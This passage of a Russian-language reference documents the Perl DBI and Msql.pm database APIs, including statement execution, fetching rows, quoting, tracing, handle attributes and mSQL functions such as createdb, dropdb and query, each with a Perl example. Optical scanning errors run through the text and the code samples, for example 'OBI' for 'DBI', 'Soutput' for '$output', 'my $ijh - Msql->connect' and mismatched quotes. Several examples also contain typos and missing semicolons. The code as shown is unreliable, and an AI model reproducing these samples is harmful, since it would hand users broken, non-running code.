    warn("Boj последняя ошибка DBI: $error");

    DBI::execute

    $rows_affected = $statement_handle->execute;

    $rows_affected = $statement_handle->execute(@bind_values);

    DBI: : execute выполняет SQL-команду, содержащуюся в описателе команды. Для запроса, не являющегося SELECT, функция возвращает число измененных строк. Функция возвращает -1, если число строк неизвестно. Для запроса типа SELECT при успехе возвращается истинное значение. Если заданы аргументы, они используются для подстановки имеющихся в команде меток-заместителей (см. DBI: : prepare ).

    Пример

    use DBI;

    my $db = DBI->connect('OBI:mSQL:mydata',undef,undef);

    my $statement_handle = $db->prepare("SELECT * FROM mytable");

    my $statement_handle2 = $db->prepare("SELECT name, date FROM myothertable WHERE name like ?");

    $statement_handle->execute;

    # Выполнена первая команда.К значениям можно

    # обращаться через описатель.


    $statement_handle->execute("J%");

    # Выполнена вторая команда следующего содержания:

    # SELECT name, date FROM myothertable WHERE name like 'J%'

    DBI::fetchall_arrayref

    $ref_of_array_of_arrays = $statement_handle->fetchall_arrayref;

    DBI: :fetchall_arrayref возвращает все оставшиеся данные в описателе команды в виде ссылки на массив. Каждая строка массива - ссылка на другой массив, в котором содержатся данные этой строки. Если в описателе команды нет данных, функция возвращает неопределенное значение undef. Если с этим описателем команды уже выполнялись функции DBI: :fetchrow_ *, то DBI: :fetchall_arrayref возвращает все данные, оставшиеся после последнего обращения к DBI: : fetch row *.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata' ,undef,undef);

    my $query = "SELECT name, date FROM myothertable";

    my Soutput = $db->prepare($query);

    $output->execute;

    my $data = $output->fetchall_arrayref;

    # Теперь $data является ссылкой на массив массивов. Каждый элемент

    # 'главного' массива сам является ссылкой на массив, содержащий строку данных.

    print "Четвертой строкой данных в таблице является: " . $data->[3][1]. "\n";

    # Элемент 3 'главного' массива является массивом, содержащим четвертую

    # строку данных, # Элемент 1 этого массива является датой.

    DBI::fetchrow_array

    @row_of_data = $statement_handle->fetchrow;

    DBI: : fetch row возвращает очередную строку данных из описателя команды, созданного DBI: :execute . Каждое последующее обращение к DBI: : fetchrow возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef. Порядок элементов в результирующем массиве определяется исходным запросом. Если запрос имел вид SELECT * FROM . . . , то элементы следуют в том порядке, в котором они были определены в таблице.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";


    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    my ($name, $date);

    # Это первая строка из $myothertable_output.

    ($name, $date) = $myothertable_output->fetchrow_array;

    # Это следующая строка...

    ($name, $date) = $myothertable_output->fetchrow_array;

    # И еще одна...

    my @name_and_date = $myothertable_output->fetchrow_array;

    # и т.д.....

    DBI::fetchrow_arrayref, DBI::fetch

    $аrrау_rеГегепсе = $statement_handle->fetchrow_arrayref;

    $array_reference = $statement_handle->fetch;

    DBI: : fetchrow_arrayref и ее псевдоним DBI: : fetch работают точно так же, как DBI: :fetchrow_array , но возвращают не фактический массив, а ссылку на него.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata', undef, undef);

    my $query = "SELECT name, date FROM myothertable WHERE name LIKE -Bob%'";

    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    my $name1 = $myothertable_output->fetch->[0]

    # Это поле 'name' из первой строки данных,

    my $date2 = $myothertable_output->fetch->[1]

    # Это поле 'date' из второй строки данных.

    my ($name3, $date3) = @{$myothertable_output->fetch};

    # Это целиком третья строка данных.

    $myothertable_output->fetch

    # возвращает ссылку на массив. Можно 'преобразовать' ее в действительный

    # массив, используя конструкцию @{}.

    DBI::fetchrow_hashref

    $hash_reference = $statement_handle->fetchrow_hashref;

    DBI: :fetchrow_hashref работает так же, как OBI: :fetchrow_arrayref , но возвращает ссылку на ассоциативный, а не на обычный массив. Ключами хэша являются имена полей, а значениями - значения в этой строке данных.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->prepare($query);

    $mytable_output->execute;

    my %row1 = $mytable_ouput->fetchrow_hashref;

    my @field_names = keys %row1;

    # @field_names содержит теперь имена всех полей в запросе.


    # Это делается только один раз. Во всех следующих строках будут те же поля,

    my @row1 = values %row1;

    DBI::finish

    $result = $statement_handle->finish;

    DBI:: finish освобождает все данные в описателе команды, чтобы можно было уничтожить описатель или снова подготовить его. Некоторым серверам баз данных это необходимо для освобождения соответствующих ресурсов. DBD::mSQL и DBD::mysql не нуждаются в этой функции, но для переносимости кода следует использовать ее по окончании работы с описателем команды. Функция возвращает неопределенное значение undef, если описатель не удается освободить.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->prepare($query);

    $mytable_output->execute;

    $mytable_output->finish;

    # Теперь можно переназначить $mytable_output или подготовить для него

    # другую команду SQL.

    DBI::func

    $handlc->func(@func_argumcnts, $func_name);

    @dbs = $db->func("$hostname", '_ListDBs');

    @dbs = $db->func("$hostname:Sport", '_ListDBs');

    @tables = $db->func('_ListTables');

    $result = $drh->func( $database, '_CreateDB' );

    Sresult = $drh->func( Sdatabase, '_DropDB' );

    DBI::func вызывает специализированные непереносимые функции, включенные в различные драйверы DBD. Она используется с описателем базы данных или описателем команды, в зависимости от назначения специализированной функции. По возможности следует использовать равносильную переносимую функцию. При использовании специализированной функции сначала передаются ее аргументы как скаляр, а затем - имя функции. DBD::mSQL и DBD::mysql реализуют следующие функции:

    _ListDBs

    Функция _ListDBs принимает имя узла и необязательный номер порта и возвращает список имеющихся у сервера баз данных. Лучше использовать переносимую функцию DBJ::data_sources .

    _ListTables

    Функция _ListTables возвращает список таблиц, имеющихся в текущей базе данных.


    _CreateDB

    Функция _CreateDB принимает в качестве аргумента имя базы данных и пытается создать эту базу данных на сервере. Для работы с этой функцией необходимо иметь право создания баз данных. Функция возвращает -1 в случае неудачи и 0 в случае успеха.

    _DropDB

    Функция _DropDB принимает в качестве аргумента имя базы данных и пытается удалить с сервера эту базу данных. Данная функция не выводит пользователю сообщений и при успешном выполнении удаляет базу данных навсегда. Для работы с этой функцией необходимо иметь право удаления баз данных. Функция возвращает -1 в случае неудачи и 0 в случае успеха.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

    my @tables =.$db->func('„List-Tables');

    # @tables содержит теперь список таблиц в 'mydata'.

    DBI::neat

    $neat_string = DBI: :neat($s'tring);

    $neat_string = DBI::neat($string, $maxlen);

    DBI: : neat Принимает в качестве аргументов строку и необязательную длину. Затем строка форматируется для аккуратного вывода. Вся строка заключается в одиночные кавычки. Непечатаемые символы заменяются точками. Если задан аргумент длины, все символы после максимальной длины удаляются, а строка заканчивается тремя точками (...). Если длина не указана, по умолчанию используется значение 400.

    Пример

    use DBI;

    my $string = "Это очень, очень длинная строка, в которой много чего написано. ";

    my$neat_string = OBI: :neat($string,14);

    # Теперь $neat_string такая: 'Это очень, оче...

    DBI::neat_list

    $neat_string = DBI::neat_list(\@listref, $maxlen);

    $neat_string = DBI::neat_list(\@listref, $maxlen, $field_seperator);

    DBI: :neat_list принимает три аргумента и возвращает аккуратно отформатированную строку, пригодную для вывода. Первый аргумент содержит ссылку на список выводимых значений. Второй аргумент -максимальная длина каждого поля. Последний аргумент - строка, используемая для разделения полей. Для каждого элемента списка вызывается OBI: :neat с использованием заданной максимальной длины. В результирующих строках для разделения полей используется последний аргумент. Если последний аргумент не задан, в качестве разделителя применяется запятая.


    Пример

    use DBI;

    my @list = (' Bob', 'Joe', 'Frank');

    my $neat_string = DBI::neat_list(\@list, 3);

    # Теперь $neat_string такая: 'Bob', 'Joe', 'Fra...

    DBI::prepare

    $statement_handle = $db->prepare($statement);

    $statement_handle = $db->prepare($statement, \%unused);

    DBI: :prepare принимает в качестве аргумента SQL-команду, которую некоторые модули баз данных переводят во внутреннюю компилированную форму, исполняемую быстрее при вызове DBI: : execute . Эти модули DBD (не DBD::mSQL или DBD::mysql) принимают также ссылку на хэш необязательных атрибутов. Серверы mSQL и MySQL в настоящее время не реализуют концепцию подготовки команд, поэтому DBI: : prepare просто запоминает команду. По желанию вместо значений данных в команду можно вставить любое количество символов '?'. Эти символы известны как метки-заместители (placeholders). Функция DBI: : bind_param осуществляет подстановку действительных значений вместо меток-заместителей. Если по какой-либо причине команду нельзя подготовить, функция возвращает undef.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

    my $statement_handle = $db->prepare('SELECT * FROM mytable');

    # Теперь эта команда готова к выполнению.

    My $statement_handle = $db->prepare('SELECT name, date FROM myothertable WHERE name like ?');

    # Эта команда будет готовя к выполнению после подстановки # с использованием функции DBI::bind_param.

    DBI::quote

    $quoted_string = $db->quote($string);

    DBI::quote принимает строку для использования в качестве запроса SQL и возвращает ее копию с правильно расставленными для ввода в запрос кавычками, в том числе расставляя корректные кавычки по концам строки.

    Пример

    use DBI;

    my $db1 = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $db2 = DBI->connect('DBI:mysql:myotherdata','me','mypassword');

    my $string = "Sheldon's Cycle";

    my $qs1 = $db1->quote($string);

    # $qs1: 'Sheldon\'s Cycle' (включая наружные кавычки)

    my $qs2 = $db2->quote($string);


    # $qs2 : 'Sheldon's Cycle' (включая наружные кавычки)

    # Теперь обе строки годятся для использования в командах для своих

    # соответствующих серверов баз данных.

    DBI::rows

    $number_of_rows = $statement_handle->rows;

    Del: : rows возвращает число строк данных, содержащихся в описателе команды. Для DBD::mSQL и DBD::mysql эта функция дает точное число для всех команд, включая SELECT. Для многих других драйверов, которые не хранят в памяти сразу все результаты, эта функция надежно работает только для команд, не являющихся SELECT. Это следует учитывать при написании переносимых программ. Функция возвращает —1, если по какой-либо причине число строк неизвестно. Переменная $DBI: : rows выполняет ту же задачу.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT name, date FROM myothertable WHERE name='Bob'";

    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    my $rows = $myotnertable_output->rows;

    print "В таблице 'myothertable' есть $rows строк 'Воb'\n";

    DBI::state

    $sql_error = $handle->state;

    DBI: : state возвращает код ошибки SQL SQLSTATE последней по времени ошибки DBI. В данное время DBD::mSQL и DBD^mysql сообщают 'S1000' для всех ошибок. Эта функция доступна для описателей баз данных и команд. Переменная $ОВ1: : state выполняет ту же задачу.

    Пример

    Use OBI;

    my $db = DBI->connect('DBI:mysql:mydata',

    'webuser','super_secret_squirгеl');

    my $sql_error = $db->state;

    warn("BoT последняя по времени ошибка DBI SQL: $sql_error");

    DBI::trace

    DBI->trace($trace_level)

    DBI->trace($trace_level, $trace_file)

    $handle->trace($trace_level);

    $handle->trace($trace_level, $trace_file);

    DBI:: trace используется в основном для отладки. Если уровень трассировки установлен равным 2, выводится полная отладочная информация. Установка уровня 0 отключает трассировку. DBI->trace осуществляет трассировку для всех описателей, a $handle->trace - только для данного описателя — базы данных или команды. При наличии в DBI- >t race или $handle->trace второго аргумента отладочная информация выводится в указанный файл. Также трассировку можно включить, установив значение переменной окружения DBI_TRACE. Если переменная окружения установлена равной числу (в настоящее время 0 или 2), включается трассировка всех описателей на этом уровне. При другом значении переменной уровень трассировки устанавливается равным 2, а само значение используется в качестве имени файла для вывода отладочной информации.


    Пример

    use DBI;

    my $db1 = DBI->connect('DBI:mysql:mydata',

    'webuser','super_secret_squirrel');

    my $db2 = DBI->connect('DBI:mSQL:myotnerdata',undef,undef);

    DBI >trace(2);

    # Включена трассировка для всех описателей на уровне 2.

    $db2->trace(0);

    # Отключена трассировка для $db2, но продолжает действовать для $db1

    $db1->trace(2,'DBI.trace');

    # Теперь включена трассировка для всех описателей на уровне 2, выдача

    # посылается в файл 'DBI.trace'.

    DBI::commit, DBI::rollback, DBI::ping

    $result = $db->commit;

    $result = $db->rollback;

    Sresult = $db->ping;

    DBI: :commit и DBI: : rollback полезны только при работе с серверами, поддерживающими транзакции. При работе с DBD::mSQL и DBD::mysql они не оказывают никакого эффекта. DBD: :ping пытается проверить, запущен ли сервер базы данных. В DBD::mSQL и DBD::mysql она не реализована.

    Атрибуты

    $db->{AutoCommit}

    $handle->{ChopBlanks}

    $handle->{CompatMode}

    $handle->{InactiveDestroy}

    $handle->{LongReadLen}

    $handle->{LongTruncOk}

    $handle->{PrintError}

    $handle->{RaiseError}

    $handle->{Warn}

    $statement_handle->{CursorName}

    $statement_handle->{insertid} (только MySQL)

    $statement_handle->{is_blob} (только MySQL)

    $statement_handle->{is_key} (только MySQL)

    $statement_handle->{is_not_null}

    $statement_handle->{is_num}

    $statement__handle->{is_pri_key} (только MySQL и mSQL 1.x)

    $statement_handle->{length}

    $statement_handle->{max_length} (только MySQL)

    $statement_handle->{NAME}

    $statement_handle->
    $statement_handle->{NUM_OF_FIELDS}

    $statement_handle->{NUM_OF_PARAMS}

    $statement_handle->{table}

    $statement_handle->{type}

    В DBI.pm API определено несколько атрибутов, которые можно читать и устанавливать в любой момент. Присвоение значения атрибуту может определенным образом изменить поведение текущего соединения. Присвоение любого отличного от нуля значения атрибуту устанавливает его. Присвоение значения 0 атрибуту сбрасывает его. Некоторые значения определены только для конкретных баз данных и непереносимы. Ниже следуют атрибуты, применимые как к описателям баз данных, так и к командам.


    $db->{AutoCommit}

    Этот атрибут оказывает влияние на поведение серверов баз данных, поддерживающих транзакции. Для mSQL и MySQL он всегда должен быть установлен (значение по умолчанию). Попытка изменить его прерывает выполнение программы.

    $handle->{ChopBlanks}

    При установке этого атрибута отсекаются все ведущие и замыкающие пробелы в данных, возвращаемых запросом (например, при вызове DBI: : fetch row ). Все производные от данного описатели наследуют значение этого атрибута. Значение по умолчанию - "сброшен".

    $handle->{InactiveDestroy}

    Назначение этого атрибута - сохранить процесс при ветвлении (fork), чтобы дочерний процесс мог пользоваться родительским описателем. Его следует установить в родительском или дочернем процессе, но не в обоих. Значение по умолчанию - "сброшен".

    $handle-> {PrintError}

    При установке этого атрибута выводятся все предупредительные сообщения. При сброшенном атрибуте доступ к ошибкам осуществляется только через $DBI: :errstr. Все производные от данного описатели наследуют значение этого атрибута. Значение по умолчанию -"установлен".

    $handle->{RaiseError}

    При установке этого атрибута все ошибки возбуждают в программе исключительные ситуации, прерывая ее выполнение, если не определен обработчик '__DIE__'. Все описатели, производные от этого, наследуют значение этого атрибута. Значение по умолчанию -"сброшен".

    $handle->{Warn}

    При установке этого атрибута выводятся предупредительные сообщения о неудачных приемах программирования (особенно пережитках Perl 4). Сброс этого атрибута отключает предупреждения DBI, что допустимо только при полной уверенности в своем мастерстве. Все производные от данного описатели (например, описатель команды, происходящий от описателя базы данных) наследуют значение этого атрибута. Значение по умолчанию — "установлен".

    $statement_handle->{insertid}

    Непереносимый атрибут, определенный только для DBD::mysql. Он возвращает из таблицы текущее значение поля auto_increment (если таковое имеется). Если поле auto_increment не существует, атрибут возвращает undef.


    $statement_handle->{is_blob}

    Это непереносимый атрибут, определенный только для DBD::mysql. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, имеет ли оно тип BLOB. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{is_blob} возвращает undef.

    $statement_handle->{is_key}

    Непереносимый атрибут, определенный только для DBD::mysql. Он возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, определено ли оно как KEY. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{is_key} возвращает undef.

    $statement_handle->{is_not_null}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Он возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, определено ли оно как 'NOT NULL' . Для описателя команды, который был создан не выражением SELECT, данный атрибут возвращает undef. Того же результата можно достичь в переносимом виде, используя $statement_handle->{NULLABLE} .

    $statement_handle->{is_num}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, имеет ли оно числовой тип. Для описателя команды, созданного не выражением SELECT, $statement_handle->{is_num} возвращает undef.

    $statement_handle->{is_pri_key}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. При использовании с DBD::mSQL он оказывает влияние только для серверов mSQLl.x, поскольку mSQL2.x не использует первичные ключи. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, является ли оно первичным ключом.

    Для описателя команды, созданного не выражением SELECT, данный атрибут возвращает undef.


    $statement_handle->{length}

    Непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Этот атрибут возвращает ссылку на список максимально допустимых размеров полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{length} возвращает undef.

    $statement_handle->{max_length}

    Это непереносимый атрибут, определенный только для DBD::mysql. Атрибут возвращает ссылку на список фактических максимальных размеров полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, данный атрибут возвращает undef.

    $statement_handle->{NAME}

    Атрибут возвращает ссылку на список имен полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{NAME} возвращает undef.

    $statement_handle->{NULLABLE}

    Этот атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, может ли оно иметь значение NULL. Поле, определенное как 'NOT NULL', даст в списке значение 0. Остальные поля дадут значение 1. Для описателя команды, созданного не выражением SELECT, атрибут возвращает undef.

    $statement_handle->{NUM_OF_FIELDS}

    Атрибут возвращает число колонок данных, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{NUM_OF_FIELDS} возвращает 0.

    $statement_handle->{NUM_OF_PARAMS}

    Этот атрибут возвращает число меток-заместителей в описателе команды. Метки-заместители обозначаются в команде символом '?'. Для подстановки вместо меток-заместителей надлежащих значений используется функция DBI: : bind_values .

    $statement_handle->{table}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Атрибут возвращает ссылку на список имен таблиц, к которым осуществлялся доступ в запросе. Полезно использовать для SELECT с соединением нескольких таблиц.


    $statement_handle->{type}

    Непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Он возвращает ссылку на список типов полей, содержащихся в описателе команды. Для описателя команды, созданного не выражением SELECT, $statement_handle->{max_length} возвращает undef. Значениями списка являются целые числа, соответствующие перечислению в заголовочном файле С mysql_com.h из дистрибутива MySQL. Сейчас способа доступа к именам этих типов из DBI не существует. Но доступ к типам возможен через функцию &Mysql: : FIELD_TYPE_ * в Mysql.pm. В DBD::mysql имеется также недокументированный атрибут $statement_handle->{format_type_name} , идентичный $statement_handle- >{type} , за исключением того, что вместо целых чисел возвращает SQL-названия типов. Следует подчеркнуть, что это недокументированный атрибут, и автор DBD::niysql высказал свое намерение убрать его, как только в DBI будет реализована такая же функция.

    $statement_handle->{CursorName}

    $handle->{l_ongReadLen}

    $handle->{l_ongTruncOk}

    $handle->{CompatMode}

    Все эти атрибуты не поддерживаются в DBD::mSQL и DBD::mysql. Присвоение им значений ничего не даст, а чтение возвратит 0 или undef. Исключение составляет атрибут $statement_handle->{CursorName} . В настоящее время любое обращение к нему "убьет" программу.

    Пример

    use DBI;

    my $db = DBI->connect('mysql:mydata','me','mypassword');

    $db->{RAISE_ERROR} = 1;

    # Теперь любая ошибка DBI/DBD убьет программу.

    my $statement_handle = $db->prepare('SELECT * FROM mytable');

    $statement_handle->execute;

    my @fields = @{$statement_handle->{NAME}};

    # @fields содержит теперь список с именами всех полей в 'mytable'.



    Msql.pm API

    use Msql

    use Msql;

    Это объявление должно быть в любой программе Perl, использующей модуль Msql.pm.

    Msql::connect

    $db = Msql->connect;

    $db = Msql->connect($host);

    $db = Msql->connect($host, Sdatabase);

    Устанавливает соединение между вашей программой на Perl и сервером Msql. У этой функции три версии. При отсутствии аргументов соединение устанавливается с сонетом Unix Msql на локальном узле без указания базы данных. Это наиболее эффективное соединение. Если задан один скалярный аргумент, он рассматривается как имя узла или IP-адрес сервера mSQL. Производится соединение с этим сервером без указания базы данных. Если присутствуют два скалярных аргумента, то первый рассматривается как имя узла сервера mSQL, а второй - как имя требуемой базы данных. Программа устанавливает соединение с указанным сервером и выбирает указанную базу данных. Возвращаемое значение является ссылкой на объект, называемый описателем базы данных (database handle). Вся связь с самим сервером базы данных происходит через этот объект. В случае невозможности установить соединение, все версии функции возвращают undef, и в $Msql: :db_errstr помещается сообщение об ошибке.

    Пример

    use Msql;

    # Соединение с сокетом Unix локального узла ' my $db = Msql->connect;

    # Или...

    # Соединение с узлом 'www.myserver.com' без указания, базы данных
    mу $db = Msql->connect('www.myserver.com');

    # Или...

    # Соединение с сервером 'www.myserver.com' и выбор базы данных 'mydata'
    mу $db = Msql->connect('www.myserver.com','mydata');

    Msql::createdb

    $result = $db->createdb($database);

    Msql: : createdb создает базу данных, имя которой принимает в качестве аргумента. Запрос на создание посылается серверу mSQL. Команда посылается от имени пользователя, запустившего CGT-программу. Поэтому для успешного использования в программе CGI последняя должна быть запущена пользователем, имеющим право создания баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха.

    Пример

    use Msql;


    my $db = Msql->connect;

    my $my_new_database = 'mynewdata';

    my $result = $db->createdb($my_new_database);

    die "База данных не создана!"

    if $result == -1;

    print "$my_new_database создана.\n";

    Msql::database

    $database = $db->database;

    Msql: database возвращает имя текущей базы данных как скаляр. Функция возвращает undef, если нет выбранной базы данных.

    Пример

    use Msql;

    my $db = Msql->connect('www.myserver.com','mydata');

    my $database = $db->database;

    print "Здесь должно быть выведено 'mydata': $database\n";

    Msql::dropdb

    $result = $db->dropdb($database);

    Msql: :dropdb принимает в качестве аргумента имя базы данных, которую нужно удалить. Затем она посылает запрос на удаление серверу mSQL. Команда посылается от имени пользователя, запустившего CGI-программу. Поэтому для успешного использования в программе CGI она должна быть запущена пользователем, имеющим право создания баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха. Она не просит подтверждения, и ее результат становится постоянным, поэтому ее следует использовать с крайней осторожностью.

    Пример

    use Msql;

    my $db = Msql->connect;

    my $result = $db->dropdb('mydata');

    die "Команда не выполнена!"

    if result == -1;

    print "'mydata' потеряна навсегда.\n";

    Msql::errmsg

    $error = $db->errmsg:

    Msql::errmsg возвращает последнюю по времени ошибку сеанса работы с сервером mSQL. Значение сохраняется, пока не произойдет следующая ошибка, и тогда заменяется новым. Если во время сеанса не произошло ошибки, функция возвращает undef.

    Пример

    use Msql;

    my $db = Msql->connect;

    my Serror = $db->errmsg;

    warn("Вот последняя по времени ошибка mSQL: $error");

    Msql::getsequenceinfo

    ($step, $value) = $db->getsequenceinfo($table);

    Msql: :getsequenceinfo принимает в качестве аргумента имя таблицы. Функция возвращает шаг и значение последовательности, если она определена в таблице. Если в указанной таблице не определена последовательность, то возвращается неопределенное значение undef, и в Msql: :errmsg помещается ошибка.


    Пример

    use Msql;

    my $db = Msql->connect;

    my ($step, $value) = $db->getsequenceinfo('mytable');

    die " B mytable не задана последовательность" if not $step;

    print "B mytable есть последовательность со значением $value и шагом

    $step\n";

    Msql::host

    Shost = $db->host;

    Msql: :host возвращает имя узла сервера базы данных как скаляр. Не гарантируется возврат канонического или хотя бы полностью квалифицированного доменного имени. В действительности, хотя это и не документировано, Msql:: host возвращает ту самую строку, которая передавалась серверу при вызове Msql::connect . Это согласуется и с тем, что Msql:: host возвращает undef, если использовалась форма Msql: : connect без аргументов.

    Пример

    use Msql;

    my $ijh - Msql->connect( 'www.myserver.com');

    my $host = $db->host;

    print "Вероятно, вы видите 'www.myserver.com': $host\n";

    Msql::listdbs

    @databases = $db->listdbs;

    Msql: :listdbs возвращает список имеющихся на сервере баз данных. Если баз данных нет, она возвращает пустой массив.

    Пример

    use Msql;

    my $db = Msql->connect;

    my @databases = $db->listdbs;

    print "Имеющиеся базы данных:\n\n" . join("\n",@databases);

    Msql::listfields

    $fields = $db->listfields($table);

    Msql:: listf ields принимает в качестве аргумента имя таблицы в текущей базе данных. Она возвращает ссылку на объект, который содержит имена всех полей и некоторые другие сведения. Эта ссылка известна как описатель команды (statement handle). Содержащиеся в нем данные можно извлечь с помощью функций Msql::Statement: :as_string, Msql::Statement: :listindices (только mSQL2.0), Msql: Statement: :numfields , Msql::Statement::table , Msql::Statement::name , Msql::Statement::type , Msql::Statement::isnotnull , Msql::Statement::isprikey , Hsql::Statement::isnum и Msql::Statement: .'length . Если таблицы не существует, функция возвращает неопределенное значение undef, и в Msql: :errmsg помещается ошибка. В описании Msql: :Statement: :fetchhash можно видеть прием, который делает данную функцию несколько устаревшей.


    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $fields = $db->listfields('mytable');

    warn ("Проблемы с 'mytable-': " . $db->errmsg)

    if (not $fields);

    # $ fields явяется ссылкой на все поля в таблице 'mytable'.

    print "mytable содержит следующие поля:\n";

    print $fields->as_string;

    Msql::listindex

    @index_handles = $db->listindex($table,$index);

    Msql: : listindex принимает в качестве аргументов имена таблицы и индекса и возвращает массив описателей команд, содержащих данные о каждом из индексов. Хотя, согласно документации, эта функция возвращает массив описателей команд, всегда возвращается не более одного описателя. Поэтому, вероятно, можно рассматривать эту функцию как возвращающую скалярный описатель команды. Это описатель в том же стиле, что и возвращаемый Msql::query , и может обрабатываться теми же функциями. Если индекс не существует, возвращается неопределенное значение undef. В возвращаемой таблице данных об индексе одна колонка с именем "Index". В первой строке указан тип индекса, который в mSQL2.0 всегда "avl". Остальные строки суть имена полей, составляющих индекс. Эта функция применима только к mSQL версий 2.0 и выше.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $mytable_fields = $db->listfields('mytable');

    my @indices = $mytable_fields->listindices;

    # Я знаю имена всех индексов.

    foreach (@indices) {

    my $index_info_handle = $db->listindex('mytable',$_);

    my (@index_info) = $index_info_handle->fetchcol(0);

    my $type_of_index = shift(@index_info);

    # $type_of_index содержит теперь тип индекса (вероятно, 'avl'),

    # a @index_info содержит теперь список полей в индексе.

    Msql::listtables

    @tables = $db->listtables;

    Msql: :listtables возвращает массив таблиц, имеющихся в базе данных. Если в базе данных нет таблиц, функция вернет пустой массив.

    Пример

    use Msql;

    my $db = Msql->connect;


    my @tables = $db->listtables;

    my $database = $db->database;

    print "B $database есть следующие таблицы:\n\n" join("\n",@tables);

    Msql::query

    $query_output = $db->query($sql_statement);

    Msql::query является самой важной и наиболее часто используемой функцией в Msql.pm API. В действительности вы посылаете SQL-запросы серверу базы данных через эту функцию. Функция принимает в качестве аргумента скалярную строку, содержащую SQL-запрос. Если запрос является выражением SELECT, то она возвращает описатель команды, содержащий результаты выполнения запроса. В противном случае функция вернет число строк, измененных запросом. С описателем команды работают те же самые функции, которые были перечислены для Msql:: listf ields (за исключением Msql:: Statement:: listindices ), a также следующие: Msql::Statement: :fetchrow , Msql::Statement::fetched , Msql::Statement::fetchhash , Msql: Statement::numrows , Msql::Statement::maxlength и Msql: Statement: :dataseek . Если по какой-либо причине запрос был неудачным, возвращается значение undef и в Msql: :errmsg помещается ошибка. Каждый описатель команды содержит выходные данные отдельного запроса, поэтому можно послать системе много запросов и работать с каждым описателем команды, когда заблагорассудится.

    Пример

    use Msql;

    my $db = Msql->connect; $db->selectdb('mydata');

    my $query1 = "SELECT * FROM mytable";

    my $query2 = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";

    my $query3 = "UPDATE myothertable SET name='Bob' WHERE name='Joe'";

    my $mytable_output = $db->query($query1);

    my $myothertable_output = $db->query($query2);

    my $myothertable_input = $db->query($query3);

    # $mytable_output содержит результаты запроса к 'mytable'

    # $myothertable_output содержит результаты запроса к 'myothertable'

    print "Обновление 'myothertable' повлияло на имена в $myothertable_input

    \n";

    $Msql::QUIET

    Если переменная $Msql: : QUIET установлена в true, то параметр -w в Perl отключает вывод ошибок. В противном случае все ошибки MsqlPerl будут автоматически посылаться на STDERR. Переменную можно в любой момент сбросить. Функция вывода сообщений об ошибках по -w настолько полезна, что не рекомендуется устанавливать $Msql: : QUIET .


    Пример

    use Msql;

    # Отключить сообщения об ошибках. Действует, только если сценарий

    # запущен с '-w'.

    $Msql::QUIET = 1;

    # Выполняем многословную часть...

    # Снова включаем сообщения об ошибках. $Msql::QUIET = undef;

    Msql::quote

    $quoted_string = $db->quote($string);

    $truncated_quoted_string = $db->quote($string,$length);

    Msql: :quote принимает в качестве аргумента скалярную строку. Она возвращает ту же строку, но с правильной расстановкой кавычек, пригодную для вставки в поле базы данных типа CHAR или TEXT. Более точно, строка заключается в одиночные кавычки, а одиночные кавычки внутри строки предваряются управляющим символом "обратная косая черта". Если задан второй аргумент, результирующая строка укорачивается до заданной длины.

    Пример

    use Msql;

    my $db = Msql->connect;

    my $string = "Это ' (одинарная кавычка)";

    my $qstring = $db->quote($string);

    print qq%Tenepb значение строки "'Это\\' (одинарная кавычка)'" : $qstring\n%;

    Msql::selectdb

    $db->selectdb($database);

    Msql: :selectdb выбирает базу данных на сервере. В случае неуспеха в Msql: :errmsg помещается ошибка. Единственный действенный способ проверить успешность выполнения функции - посмотреть значение $db->database и сравнить его с той базой данных, с которой вы хотели соединиться. В любой момент выполнения программы можно переключиться между базами данных.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    # Выбранной базой данных является 'mydata'

    if ($db->database ne 'mydata') {

    wаrn('Базу данных выбрать не удалось!'); }

    $db->selectdb('myotherdata');

    # Теперь выбрана база данных 'myotherdata'

    Msql::shutdown

    $result = $db->shutdown;

